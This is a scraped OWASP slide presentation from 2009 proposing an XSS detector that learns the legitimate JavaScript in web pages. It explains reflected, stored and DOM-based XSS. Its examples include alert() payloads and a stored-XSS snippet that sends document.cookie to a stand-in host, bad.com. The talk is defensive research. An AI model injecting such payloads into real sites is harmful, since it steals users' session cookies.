Download presentation
Presentation is loading. Please wait.
1
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation OWASP http://www.owasp.org A new approach to XSS Detection using JavaScript Modeling Ofer Rotberg rotbergofer@gmail.com David Movshovitz dmovshovitz@gmail.com IDC September 2009
2
OWASP 2 Agenda Background and Motivation Current Solutions…and drawbacks Our Approach Evaluation and Results Conclusion & Further Work
3
OWASP 3 Standards (?) HTTP Stateless GET, POST HTML Blends together code (e.g., JavaScript, Flash) & data. 4 prevailing HTML rendering implementations: Trident (MSHTML) - used in MSIE6, MSIE7, MSIE8. Gecko - used in Firefox and derivates. WebKit - used by Safari, Chrome, Android. Presto - used in Opera. Different “forgiving policy” among implementations.
4
OWASP 4 Web Application Vulnerabilities Source:IBM Internet Security Systems X-Force® 2008 Trend & Risk Report
5
OWASP 5 Closer Look Source: “WhiteHat Website Security Statistic Reports”, Dec 2008
6
OWASP 6 Attackers Prefer the Application Layer The application layer is the weakest link – no generic defense mechanism. The application layer leads the attacker directly to the data. A plethora of freely available web applications. Very simple to perform. Every input has the potential to be an attack vector. In order to (really) fix must change code (On average, 60 days to repair XSS vulnerability).
7
OWASP 7 MySpace.com virus (a.k.a Samy worm) Date: October 5, 2005. Target: force users to become my friends. Samy inserted raw HTML into his profile. The payload adds Samy to visitor’s friends and copy itself to visitor’s profile. MySpace was forced to shutdown its website, fix the vulnerability, and perform clean up. Source: XSS WORMS AND VIRUSES The Impending Threat and the Best Defense, APRIL 2006, Jeremiah Grossman.
8
OWASP 8 XSS in Details Three known types: Reflected (Non-Persistent) Stored (Persistent) DOM Based (Local) The target is to run hostile JavaScript on the victims browser. JavaScript malware can: Steal Cookie Map internal networks Spread like a worm ……
9
OWASP 9 Reflected XSS RRequest hhttp://www.website.com/ index.php?name=Jim RResponse <html> <body> Hello, Jim... RRequest hhttp://www.website.com/index.php?name=Jim<script>alert(" XSS")</script> RResponse <html> <body> Hello, Jim <script>alert("XSS")</script>... Browser – assumes server doesn’t send malicious content Parse HTML – build DOM Fetch resources and execute them. Browser – assumes server doesn’t send malicious content Parse HTML – build DOM Fetch resources and execute them.
10
OWASP 10 Stored XSS
11
OWASP 11 Stored XSS Trudy posts the following text on a message board: Great message! var img=new Image(); img.src= "http://www.bad.com/CookieStealer/Form1.aspx?s= "+document.cookie; When Bob views the posted message, his browser executes the malicious script, and his session cookie is sent to Trudy
12
OWASP 12 DOM-Based XSS First published by Amit Klein (http://www.webappsec.org/projects/articles/071105.shtml) http://victim/promo?product_id=100&title=Last+Chance http://victim/promo?product_id=100&title=Foo# alert('XSS') var url = window.location.href; var pos = url.indexOf("title=") + 6; var len = url.length; var title_string = url.substring(pos,len); document.write(title_string); poslen Last Chance ! xss
13
OWASP 13 Current Solutions XSS is a sub-problem of Insufficient Input Validation. Server-Side Application Static/Dynamic code analysis (white box) Web application scanners (black box) Server-Side Proxy Input validation Escaping\Output encoding (‘<‘ <) HTTP-request anomaly detection Client-Side Disable JS. Noxes - a web proxy that fetches HTTP requests and can either block or allow based on current security policy.
14
OWASP 14 Problems with current solutions Escaping - Good practice ! But, Many web-application permit and return HTML tags (, …) What about URI scheme like javascript: Blacklisting (negative logic) is difficult …and 100+ more attack vectors in RSnake’s XSS Cheatsheet.RSnake’s XSS Cheatsheet An effective filter must also ensure that is does not introduces new scripts Before: After: 14
15
OWASP 15 Problems with current solutions (cont.) Focusing only on HTTP-request is problematic Even if an attack was detected, it doesn’t mean it will actually occur (false positive). What about Stored XSS attacks ? Client-side solutions Deployment Browser modifications/integration. 15
16
OWASP 16 Problems with current solutions (cont.) GET http://bank.com/main.php?uName=Jack Main() echo (“ ”) echo (“Document.write( “Hello” + $uName);”) echo (“ Hello Jack Document.write(“Hello” + “Jack”);
17
OWASP 17 Problems with current solutions (cont.) GET http://bank.com/main.php?uName=Jack”);alert(‘xss!’) Main() echo (“ ”) echo (“Document.write( “Hello” + $uName);”) echo (“ Hello Jack Document.write(“Hello” + “Jack”); alert(‘xss’); xss!
18
OWASP 18 Our Approach Positive security logic Anything is illegal unless known to be legal Focus on HTTP response Model – code-script elements in HTML web- pages Assumption: the set of all instances of code-script elements is bounded and can be learned in a relative short period. 1st try – JavaScript code is static. 2nd try – JavaScript code is static under some transformation.
19
OWASP 19 Detector Architecture
20
OWASP 20 XSS Attack Detection Learning mode For each extracted JS: Learn regular form. Learn canonicalized form. Three concerns Coverage Updating –Deploy detector in testing environment. –Perform deeper inspection. Learning data-set should be with no malicious JS Detection mode For each unknown JS do: Further inspection. Strip out Inform web-admin
21
OWASP 21 Deployment options Web proxy Protect a single web-application Integration with the browser JS extraction is done by browser. Defend against DOM-based XSS. Improved performance. Web Application Web Proxy Client
22
OWASP 22 Evaluation Methodology FP Choose top-ranked 40 web-application. Crawl each web application Learn each web-page & build code-elements DB Perform 2 tests: Convergence test: #pages to needed to learn all JS. FP test: FP = (#pages causing alarm)/(#pages). FN Test detector against RSnake’s cheat-sheet. Choose vulnerable application from xssed.com Generate benign-input and attack-input. Learn with benign. Detect with attack. Each result was also checked manually.
23
OWASP 23 Results Zero FP FN – all attacks were detected.
24
OWASP 24 Conclusion Zero FP under canonicalization Generic - targets all types of XSS Even DOM-Based could be mitigated if web proxy is deployed on client side. Fast convergence – short learning period Number of canonicalized JS nodes is bounded. Most JS nodes appear in every page (“building blocks”).
25
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation OWASP http://www.owasp.org Thanx ! Ofer Rotberg IDC rotbergofer@gmail.com September 2009
26
OWASP 26 Some More Related Work Vulnerability analysis: find vulnerable source-sink pairs e.g., saner: Livshits et al. Usenix 2005, Pixy N. Jovanovic et al. S&P2006, Y. Xie et al. Usenix 2006, D. Balzarotti et al. CCS 2007... Useful but limited to detection Server side solutions: filter based or track taint & disallow at sink : W. Xu et al. Usenix 2006, … Centralized defense but do not know all scripts Client side solutions: Firewall like mechanisms to prevent malicious actions at client Noxes E. Kirda, et al. SAC 2006, P. Vogt et al. NDSS 2007 User controlled protection but do not know intended scripts Client-Server collaborative solutions: Clients enforce application specified policies BEEP T. Jim, et al. WWW 2007, Tahoma R. Cox et al. S&P 2006, Browsershield C. Reis et al. OSDI 2006 Can determine intended and all scripts but deployment issues 26
Similar presentations
